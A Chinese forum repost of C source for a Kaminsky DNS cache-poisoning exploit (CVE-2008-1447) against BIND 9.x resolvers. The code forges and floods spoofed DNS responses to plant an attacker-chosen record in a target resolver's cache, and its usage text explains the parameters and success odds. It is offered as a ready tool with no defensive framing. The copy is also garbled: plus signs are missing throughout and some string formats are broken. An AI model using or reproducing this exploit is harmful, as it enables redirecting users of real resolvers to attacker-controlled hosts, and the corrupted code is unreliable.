• 设为首页
  • 收藏本站
  • 积分充值
  • VIP赞助
  • 手机版
  • 微博
  • 微信
    微信公众号 添加方式:
    1:搜索微信号(888888
    2:扫描左侧二维码
  • 快捷导航
    福建二哥 门户 查看主题

    BIND 9.x Remote DNS Cache Poisoning Flaw Exploit (c)

    发布者: Error | 发布时间: 2025-6-28 22:51| 查看数: 128| 评论数: 0|帖子模式

    /*
    * Exploit for CVE-2008-1447 - Kaminsky DNS Cache Poisoning Attack
    *
    * Compilation:
    * $ gcc -o kaminsky-attack kaminsky-attack.c `dnet-config --libs` -lm
    *
    * Dependency: libdnet (aka libdumbnet-dev under Ubuntu)
    *
    * Author: marc.bevand at rapid7 dot com
    */

    #define _BSD_SOURCE

    #include <sys/types.h>
    #include <err.h>
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <math.h>
    #include <time.h>
    #include <unistd.h>
    #include <dumbnet.h>

    #define DNSF_RESPONSE      (1<<15)
    #define DNSF_AUTHORITATIVE (1<<10)
    #define DNSF_REC_DESIRED   (1<<8)
    #define DNSF_REC_AVAILABLE (1<<7)

    #define TYPE_A       0x1
    #define TYPE_NS      0x2
    #define CLASS_IN     0x1

    struct dns_pkt
    {
       uint16_t txid;
       uint16_t flags;
       uint16_t nr_quest;
       uint16_t nr_ans;
       uint16_t nr_auth;
       uint16_t nr_add;
    } __attribute__ ((__packed__));

    void format_domain(u_char *buf, unsigned size, unsigned *len, const char *name)
    {
       unsigned bufi, i, j;
       bufi = i = j = 0;
       while (name)
       {
          if (name == '.')
          {
             if (bufi   1   (i - j) > size)
                fprintf(stderr, "format_domain overflow\n"), exit(1);
             buf[bufi  ] = i - j;
             memcpy(buf   bufi, name   j, i - j);
             bufi  = i - j;
             j = i   1;
          }
          i  ;
       }
       if (bufi   1   2   2 > size)
          fprintf(stderr, "format_domain overflow\n"), exit(1);
       buf[bufi  ] = 0;
       *len = bufi;
    }

    void format_qr(u_char *buf, unsigned size, unsigned *len, const char *name, uint16_t type, uint16_t class)
    {
       uint16_t tmp;
       // name
       format_domain(buf, size, len, name);
       // type
       tmp = htons(type);
       memcpy(buf   *len, &tmp, sizeof (tmp));
       *len  = sizeof (tmp);
       // class
       tmp = htons(class);
       memcpy(buf   *len, &tmp, sizeof (tmp));
       *len  = sizeof (tmp);
    }

    void format_rr(u_char *buf, unsigned size, unsigned *len, const char *name, uint16_t type, uint16_t class, uint32_t ttl, const char *data)
    {
       format_qr(buf, size, len, name, type, class);
       // ttl
       ttl = htonl(ttl);
       memcpy(buf   *len, &ttl, sizeof (ttl));
       *len  = sizeof (ttl);
       // data length   data
       uint16_t dlen;
       struct addr addr;
       switch (type)
       {
          case TYPE_A:
             dlen = sizeof (addr.addr_ip);
             break;
          case TYPE_NS:
             dlen = strlen(data)   1;
             break;
          default:
             fprintf(stderr, "format_rr: unknown type x", type);
             exit(1);
       }
       dlen = htons(dlen);
       memcpy(buf   *len, &dlen, sizeof (dlen));
       *len  = sizeof (dlen);
       // data
       unsigned len2;
       switch (type)
       {
          case TYPE_A:
             if (addr_aton(data, &addr) < 0)
                fprintf(stderr, "invalid destination IP: %s", data), exit(1);
             memcpy(buf   *len, &addr.addr_ip, sizeof (addr.addr_ip));
             *len  = sizeof (addr.addr_ip);
             break;
          case TYPE_NS:
             format_domain(buf   *len, size - *len, &len2, data);
             *len  = len2;
             break;
          default:
             fprintf(stderr, "format_rr: unknown type x", type);
             exit(1);
       }
    }

    void dns_query(u_char *buf, unsigned size, unsigned *len, uint16_t txid, uint16_t flags, const char *name)
    {
       u_char *out = buf;
       struct dns_pkt p = {
          .txid = htons(txid),
          .flags = htons(flags),
          .nr_quest = htons(1),
          .nr_ans = htons(0),
          .nr_auth = htons(0),
          .nr_add = htons(0),
       };
       u_char qr[256];
       unsigned l;
       format_qr(qr, sizeof (qr), &l, name, TYPE_A, CLASS_IN);
       if (sizeof (p)   l > size)
          fprintf(stderr, "dns_query overflow"), exit(1);
       memcpy(out, &p, sizeof (p));
       out  = sizeof (p);
       memcpy(out, qr, l);
       out  = l;
       *len = sizeof (p)   l;
    }

    void dns_response(u_char *buf, unsigned size, unsigned *len,
          uint16_t txid, uint16_t flags,
          const char *q_name, const char *q_ip,
          const char *domain, const char *auth_name, const char *auth_ip)
    {
       u_char *out = buf;
       u_char *end = buf   size;
       u_char rec[256];
       unsigned l_rec;
       uint32_t ttl = 24*3600;
       struct dns_pkt p = {
          .txid = htons(txid),
          .flags = htons(flags),
          .nr_quest = htons(1),
          .nr_ans = htons(1),
          .nr_auth = htons(1),
          .nr_add = htons(1),
       };
       (void)domain;
       *len = 0;
       if (out   *len   sizeof (p) > end)
          fprintf(stderr, "dns_response overflow"), exit(1);
       memcpy(out   *len, &p, sizeof (p)); *len  = sizeof (p);
       // queries
       format_qr(rec, sizeof (rec), &l_rec, q_name, TYPE_A, CLASS_IN);
       if (out   *len   l_rec > end)
          fprintf(stderr, "dns_response overflow"), exit(1);
       memcpy(out   *len, rec, l_rec); *len  = l_rec;
       // answers
       format_rr(rec, sizeof (rec), &l_rec, q_name, TYPE_A, CLASS_IN,
             ttl, q_ip);
       if (out   *len   l_rec > end)
          fprintf(stderr, "dns_response overflow"), exit(1);
       memcpy(out   *len, rec, l_rec); *len  = l_rec;
       // authoritative nameservers
       format_rr(rec, sizeof (rec), &l_rec, domain, TYPE_NS, CLASS_IN,
             ttl, auth_name);
       if (out   *len   l_rec > end)
          fprintf(stderr, "dns_response overflow"), exit(1);
       memcpy(out   *len, rec, l_rec); *len  = l_rec;
       // additional records
       format_rr(rec, sizeof (rec), &l_rec, auth_name, TYPE_A, CLASS_IN,
             ttl, auth_ip);
       if (out   *len   l_rec > end)
          fprintf(stderr, "dns_response overflow"), exit(1);
       memcpy(out   *len, rec, l_rec); *len  = l_rec;
    }

    unsigned build_query(u_char *buf, const char *srcip, const char *dstip, const char *name)
    {
       unsigned len = 0;
       // ip
       struct ip_hdr *ip = (struct ip_hdr *)buf;
       ip->ip_hl = 5;
       ip->ip_v = 4;
       ip->ip_tos = 0;
       ip->ip_id = rand() & 0xffff;
       ip->ip_off = 0;
       ip->ip_ttl = IP_TTL_MAX;
       ip->ip_p = 17; // udp
       ip->ip_sum = 0;
       struct addr addr;
       if (addr_aton(srcip, &addr) < 0)
          fprintf(stderr, "invalid source IP: %s", srcip), exit(1);
       ip->ip_src = addr.addr_ip;
       if (addr_aton(dstip, &addr) < 0)
          fprintf(stderr, "invalid destination IP: %s", dstip), exit(1);
       ip->ip_dst = addr.addr_ip;
       // udp
       struct udp_hdr *udp = (struct udp_hdr *)(buf   IP_HDR_LEN);
       udp->uh_sport = htons(1234);
       udp->uh_dport = htons(53);
       // dns
       dns_query(buf   IP_HDR_LEN   UDP_HDR_LEN,
             (unsigned)(sizeof (buf) - (IP_HDR_LEN   UDP_HDR_LEN)), &len,
             rand(), DNSF_REC_DESIRED, name);
       // udp len
       len  = UDP_HDR_LEN;
       udp->uh_ulen = htons(len);
       // ip len & cksum
       len  = IP_HDR_LEN;
       ip->ip_len = htons(len);
       ip_checksum(buf, len);
       return len;
    }

    unsigned build_response(u_char *buf, const char *srcip, const char *dstip,
          uint16_t port_resolver, uint16_t txid,
          const char *q_name, const char *q_ip,
          const char *domain, const char *auth_name, const char *auth_ip)
    {
       unsigned len = 0;
       // ip
       struct ip_hdr *ip = (struct ip_hdr *)buf;
       ip->ip_hl = 5;
       ip->ip_v = 4;
       ip->ip_tos = 0;
       ip->ip_id = rand() & 0xffff;
       ip->ip_off = 0;
       ip->ip_ttl = IP_TTL_MAX;
       ip->ip_p = 17; // udp
       ip->ip_sum = 0;
       struct addr addr;
       if (addr_aton(srcip, &addr) < 0)
          fprintf(stderr, "invalid source IP: %s", srcip), exit(1);
       ip->ip_src = addr.addr_ip;
       if (addr_aton(dstip, &addr) < 0)
          fprintf(stderr, "invalid destination IP: %s", dstip), exit(1);
       ip->ip_dst = addr.addr_ip;
       // udp
       struct udp_hdr *udp = (struct udp_hdr *)(buf   IP_HDR_LEN);
       udp->uh_sport = htons(53);
       udp->uh_dport = htons(port_resolver);
       // dns
       dns_response(buf   IP_HDR_LEN   UDP_HDR_LEN,
             (unsigned)(sizeof (buf) - (IP_HDR_LEN   UDP_HDR_LEN)), &len,
             txid, DNSF_RESPONSE | DNSF_AUTHORITATIVE,
             q_name, q_ip, domain, auth_name, auth_ip);
       // udp len
       len  = UDP_HDR_LEN;
       udp->uh_ulen = htons(len);
       // ip len & cksum
       len  = IP_HDR_LEN;
       ip->ip_len = htons(len);
       ip_checksum(buf, len);
       return len;
    }

    void usage(char *name)
    {
       fprintf(stderr, "Usage: %s <ip-querier> <ip-resolver> <ip-authoritative> "
             "<port-resolver> <subhost> <domain> <any-ip> <attempts> <repl-per-attempt>\n"
             "  <ip-querier>       Source IP used when sending queries for random hostnames\n"
             "                     (typically your IP)\n"
             "  <ip-resolver>      Target DNS resolver to attack\n"
             "  <ip-authoritative> One of the authoritative DNS servers for <domain>\n"
             "  <port-resolver>    Source port used by the resolver when forwarding queries\n"
             "  <subhost>          Poison the cache with the A record <subhost>.<domain>\n"
             "  <domain>           Domain name, see <subhost>.\n"
             "  <any-ip>           IP of your choice to be associated to <subhost>.<domain>\n"
             "  <attempts>         Number of poisoning attemps, more attempts increase the\n"
             "                     chance of successful poisoning, but also the attack time\n"
             "  <repl-per-attempt> Number of spoofed replies to send per attempt, more replies\n"
             "                     increase the chance of successful poisoning but, but also\n"
             "                     the rate of packet loss\n"
             "Example:\n"
             "  $ %s q.q.q.q r.r.r.r a.a.a.a 1234 pwned example.com. 1.1.1.1 8192 16\n"
             "This should cause a pwned.example.com A record resolving to 1.1.1.1 to appear\n"
             "in r.r.r.r's cache. The chance of successfully poisoning the resolver with\n"
             "this example (8192 attempts and 16 replies/attempt) is 86%%\n"
             "(1-(1-16/65536)**8192). This example also requires a bandwidth of about\n"
             "2.6 Mbit/s (16 replies/attempt * ~200 bytes/reply * 100 attempts/sec *\n"
             "8 bits/byte) and takes about 80 secs to complete (8192 attempts /\n"
             "100 attempts/sec).\n",
             name, name);
    }

    int main(int argc, char **argv)
    {
       if (argc != 10)
          usage(argv[0]), exit(1);
       const char *querier = argv[1];
       const char *ip_resolver = argv[2];
       const char *ip_authoritative = argv[3];
       uint16_t port_resolver = (uint16_t)strtoul(argv[4], NULL, 0);
       const char *subhost = argv[5];
       const char *domain = argv[6];
       const char *anyip = argv[7];
       uint16_t attempts = (uint16_t)strtoul(argv[8], NULL, 0);
       uint16_t replies = (uint16_t)strtoul(argv[9], NULL, 0);
       if (domain[strlen(domain) - 1 ] != '.')
          fprintf(stderr, "domain must end with dot(.): %s\n", domain), exit(1);
       printf("Chance of success: 1-(1-%d/65536)**%d = %.2f\n", replies, attempts, 1 - pow((1 - replies / 65536.), attempts));
       srand(time(NULL));
       int unique = rand()   (rand() << 16);
       u_char buf[IP_LEN_MAX];
       unsigned len;
       char name[256];
       char ns[256];
       ip_t *iph;
       if ((iph = ip_open()) == NULL)
          err(1, "ip_open");
       int cnt = 0;
       while (cnt < attempts)
       {
          // send a query for a random hostname
          snprintf(name, sizeof (name), "xx.%s", unique, cnt, domain);
          len = build_query(buf, querier, ip_resolver, name);
          if (ip_send(iph, buf, len) != len)
             err(1, "ip_send");
          // give the resolver enough time to forward the query and be in a state
          // where it waits for answers; sleeping 10ms here limits the number of
          // attempts to 100 per sec
          usleep(10000);
          // send spoofed replies, each reply contains:
          // - 1 query: query for the "random hostname"
          // - 1 answer: "random hostname" A 1.1.1.1
          // - 1 authoritative nameserver: <domain> NS <subhost>.<domain>
          // - 1 additional record: <subhost>.<domain> A <any-ip>
          snprintf(ns, sizeof (ns), "%s.%s", subhost, domain);
          unsigned r;
          for (r = 0; r < replies; r  )
          {
             // use a txid that is just 'r': 0..(replies-1)
             len = build_response(buf, ip_authoritative, ip_resolver,
                   port_resolver, r, name, "1.1.1.1", domain, ns, anyip);
             if (ip_send(iph, buf, len) != len)
                err(1, "ip_send");
          }
          cnt  ;
       }
       ip_close(iph);
       return 0;
    }


    来源:https://www.jb51.net/hack/5743.html
    免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!

    最新评论

    浏览过的版块

    QQ Archiver 手机版 小黑屋 福建二哥 ( 闽ICP备2022004717号|闽公网安备35052402000345号 )

    Powered by Discuz! X3.5 © 2001-2023

    快速回复 返回顶部 返回列表